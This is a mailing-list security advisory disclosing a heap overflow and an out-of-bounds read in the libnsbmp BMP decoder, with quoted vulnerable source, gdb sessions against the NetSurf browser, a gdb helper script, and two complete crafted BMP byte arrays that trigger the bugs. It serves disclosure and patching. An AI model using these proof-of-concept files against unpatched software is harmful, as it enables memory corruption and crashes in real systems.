[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

libnsbmp: heap overflow (CVE-2015-7508) and out-of-bounds read (CVE-2015-7507)



Overview
========

Libnsbmp[1] is a decoding library for BMP and ICO files.  It is
primarily developed and used as part of the NetSurf project.

As of version 0.1.2, libnsbmp is vulnerable to a heap overflow
(CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507).


CVE-2015-7508
=============

libnsbmp expects that the user-supplied `bmp_bitmap_cb_create' callback
allocates enough memory to accommodate for `bmp->width * bmp->height *
4' bytes.  However, due to the way `pixels_left' is calculated, the last
row of run-length encoded data may expand beyond the end of
`bmp->bitmap', resulting in a heap overflow.


src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
|     swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width;
|     top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap);
| [...]
|     do {
| [...]
|         length = *data++;
|         if (length == 0) {
| [...]
|                 /* 00 - NN means escape NN pixels */
|                 if (bmp->reversed) {
|                     pixels_left = (y + 1) * bmp->width - x;
|                     scanline = (void *)(top + (y * swidth));
|                 } else {
|                     pixels_left = (bmp->height - y + 1) * bmp->width - x;
|                     scanline = (void *)(bottom - (y * swidth));
|                 }
|                 if (length > pixels_left)
|                     length = pixels_left;
|                 if (data + length > end)
|                     return BMP_INSUFFICIENT_DATA;
| [...]
|         } else {
|             /* NN means perform RLE for NN pixels */
|             if (bmp->reversed) {
|                 pixels_left = (y + 1) * bmp->width - x;
|                 scanline = (void *)(top + (y * swidth));
|             } else {
|                 pixels_left = (bmp->height - y + 1) * bmp->width - x;
|                 scanline = (void *)(bottom - (y * swidth));
|             }
|             if (length > pixels_left)
|                 length = pixels_left;
| [...]
|                 pixel2 = *data++;
|                 pixel = bmp->colour_table[pixel2 >> 4];
|                 pixel2 = bmp->colour_table[pixel2 & 0xf];
|                 for (i = 0; i < length; i++) {
|                     if (x >= bmp->width) {
|                         x = 0;
|                         if (++y > bmp->height)
|                             return BMP_DATA_ERROR;
|                         scanline -= bmp->width;
|                     }
|                     if ((i & 1) == 0)
|                         scanline[x++] = pixel;
|                     else
|                         scanline[x++] = pixel2;
|                 }
|             }
|         }
|     } while (data < end);
| [...]
| }
`----


Using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp
| [...]
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3)
| heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5)
| 
| Program received signal SIGSEGV, Segmentation fault.
| 0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' <repeats 23 times>, bytes=157, size=4) at src/libnsbmp.c:1091
| 1091                          scanline[x++] = pixel2;
| (gdb)
`----


heap.py:
,----
| class Breakpoint(gdb.Breakpoint):
|     def stop(self):
|         top = get_hex("top")
|         width = get_hex("bmp->width")
|         height = get_hex("bmp->height")
|         bpp = get_hex("bmp->bpp")
|         x = get_hex("x")
|         scanline = get_hex("scanline")
|         pixel2 = get_hex("pixel2")
| 
|         cur = scanline + x
|         end = top + width * height * bpp
|         if cur > end:
|             print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" %
|                   (pixel2, cur, end, cur - end))
|         return False
| 
| def get_hex(arg):
|     res = gdb.execute("print/x %s" % arg, to_string=True)
|     x = res.split(" ")[-1].strip()
|     return int(x, 16)
| 
| Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091")
| 
| gdb.execute("run")
`----


heap.bmp:
,----
| unsigned char heap[] = {
|     /* bmp_analyse() */
|     0x42, 0x4d,             /* BM */
|     0x41, 0x00, 0x00, 0x40, /* bmp size */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
| 
|     /* bmp_analyse_header() */
|     0x6c, 0x00, 0x00, 0x00, /* header_size */
|     0xff, 0x7f, 0x00, 0x00, /* width */
|     0xf7, 0xff, 0xff, 0xff, /* height */
|     0x01, 0x00,             /* colour planes */
|     0x04, 0x00,             /* bmp->bpp */
|     0x02, 0x00, 0x00, 0x00, /* bmp->encoding */
|     0x04, 0x00, 0x00, 0x00, /* size of bitmap */
|     0x41, 0x41, 0x00, 0x00, /* horizontal resolution */
|     0x41, 0x41, 0x00, 0x00, /* vertical resolution */
|     0x01, 0x00, 0x00, 0x00, /* bmp->colours */
|     0x00, 0x00, 0x00, 0x00, /* number of important colours */
|     0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
| 
|     /*
|      * NOTE: the first two bytes of the alpha mask are used in the
|      * expansion of the last "line".
|      *
|      * 0xff = the number of bytes to expand,
|      * 0x00 = the pixel which, combined with a bitwise AND against 0xf,
|      *        is used to dereference a (potentially) suiting "real"
|      *        pixel in bmp->colour_table.  Since bmp->colours is
|      *        specified as 1, we want this to be 0.  No bounds checking
|      *        is done and as such libnsbmp may be induced to read from
|      *        bmp->colour_table[out_of_bounds_index] (CVE-2015-7507)
|      */
|     0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */
| 
|     0x41, 0x41, 0x41, 0x41, /* color space type */
|     0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */
|     0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */
|     0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */
|     0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */
|     0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */
|     0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */
|     0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */
|     0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */
|     0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */
|     0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */
|     0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */
|     0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */
| 
|     /*
|      * NOTE: this is what will be expanded on the last "line"
|      */
|     0x99, 0x99, 0x99,       /* bmp->colour_table[0] */
| 
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
|     0x41, 0x41, 0x41, 0x41,
| };
`----


CVE-2015-7507
=============

An out-of-bounds read may occur in libnsbmp due to a lack of boundary
checking before dereferencing `bmp->colour_table' in `bmp_decode_rgb()'
and `bmp_decode_rle()' with an index based on a user-supplied value.

src/libnsbmp.c #306..558:
,----
| static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) {
| [...]
|     header_size = read_uint32(data, 0);
| [...]
|     if (header_size == 12) {
| [...]
|         bmp->bpp = read_uint16(data, 10);
|         /**
|          * The bpp value should be in the range 1-32, but the only
|          * values considered legal are:
|          * RGB ENCODING: 1, 4, 8, 16, 24 and 32
|          */
|         if ((bmp->bpp != 1) && (bmp->bpp != 4) &&
|                 (bmp->bpp != 8) &&
|                 (bmp->bpp != 16) &&
|                 (bmp->bpp != 24) &&
|                 (bmp->bpp != 32))
|             return BMP_DATA_ERROR;
|         bmp->colours = (1 << bmp->bpp);
|         palette_size = 3;
|     } else if (header_size < 40) {
|         return BMP_DATA_ERROR;
|     } else {
| [...]
|         bmp->colours = read_uint32(data, 32);
|         if (bmp->colours == 0)
|             bmp->colours = (1 << bmp->bpp);
|         palette_size = 4;
|     }
| [...]
|     if (bmp->bpp < 16) {
| [...]
|         /* create the colour table */
|         bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
|         if (!bmp->colour_table)
|             return BMP_INSUFFICIENT_MEMORY;
|         for (i = 0; i < bmp->colours; i++) {
|             bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16);
|             if (bmp->opaque)
|                 bmp->colour_table[i] |= (0xff << 24);
|             data += palette_size;
|             bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0);
|         }
|     }
| [...]
| }
`----


src/libnsbmp.c #951..1097:
,----
| static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) {
| [...]
|     do {
| [...]
|         length = *data++;
|         if (length == 0) {
| [...]
|             } else {
|                 /* 00 - NN means escape NN pixels */
| [...]
|                 if (size == 8) {
| [...]
|                         scanline[x++] = bmp->colour_table[(int)*data++];
|                     }
|                 } else {
| [...]
|                         if ((i & 1) == 0) {
|                             pixel = *data++;
|                             scanline[x++] = bmp->colour_table
|                                     [pixel >> 4];
|                         } else {
|                             scanline[x++] = bmp->colour_table
|                                     [pixel & 0xf];
|                         }
|                     }
| [...]
|             }
|         } else {
|             /* NN means perform RLE for NN pixels */
| [...]
|             if (size == 8) {
|                 pixel = bmp->colour_table[(int)*data++];
| [...]
|             } else {
|                 pixel2 = *data++;
|                 pixel = bmp->colour_table[pixel2 >> 4];
|                 pixel2 = bmp->colour_table[pixel2 & 0xf];
| [...]
|                 }
|             }
|         }
|     } while (data < end);
| [...]
| }
`----


src/libnsbmp.c #844..893:
,----
| static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) {
| [...]
|     uint8_t bit_shifts[8];
|     uint8_t ppb = 8 / bmp->bpp;
|     uint8_t bit_mask = (1 << bmp->bpp) - 1;
|     uint8_t cur_byte = 0, bit, i;
| 
|     for (i = 0; i < ppb; i++)
|         bit_shifts[i] = 8 - ((i + 1) * bmp->bpp);
| [...]
|     /* Determine transparent index */
|     if (bmp->limited_trans)
|         bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask];
| 
|     for (y = 0; y < bmp->height; y++) {
| [...]
|         for (x = 0; x < bmp->width; x++) {
|             if (bit >= ppb) {
|                 bit = 0;
|                 cur_byte = *data++;
|             }
|             scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| [...]
|         }
|     }
|     *start = data;
|     return BMP_OK;
| }
`----


Another NetSurf example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp
| [...]
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531
| Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869
| Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869.
| (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886
| Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886.
| (gdb) r
| [...]
| Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531
| 531         bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4);
| (gdb) p bmp->colours * 4
| $1 = 4
| (gdb) c
| [...]
| Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886
| 886         scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask];
| (gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask
| $2 = 255
| (gdb)
`----


oob.bmp:
,----
| unsigned char bmp[] = {
|     /* bmp_analyse() */
|     0x42, 0x4d,             /* BM */
|     0x7e, 0x00, 0x00, 0x00, /* bmp size */
|     0x00, 0x00,             /* reserved */
|     0x00, 0x00,             /* reserved */
|     0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */
| 
|     /* bmp_analyse_header() */
|     0x6c, 0x00, 0x00, 0x00, /* header_size */
|     0x01, 0x00, 0x00, 0x00, /* width */
|     0x01, 0x00, 0x00, 0x00, /* height */
|     0x01, 0x00,             /* colour planes */
|     0x08, 0x00,             /* bmp->bpp */
|     0x00, 0x00, 0x00, 0x00, /* bmp->encoding */
|     0x00, 0x00, 0x00, 0x00, /* size of bitmap */
|     0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
|     0x00, 0x00, 0x00, 0x00, /* vertical resolution */
|     0x01, 0x00, 0x00, 0x00, /* bmp->colours */
|     0x00, 0x00, 0x00, 0x00, /* number of important colours */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */
|     0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */
|     0x00, 0x00, 0x00, 0x00, /* color space type */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
|     0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
|     0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */
|     0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */
|     0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */
|     0xff, 0xff, 0xff, 0x00  /* bmp->colour_table[0] */
| };
`----


Solution
========

Both vulnerabilities are fixed in git HEAD[2].



Footnotes
_________

[1] [http://www.netsurf-browser.org/projects/libnsbmp/]

[2] [http://source.netsurf-browser.org/libnsbmp.git/]


Hans Jerry Illikainen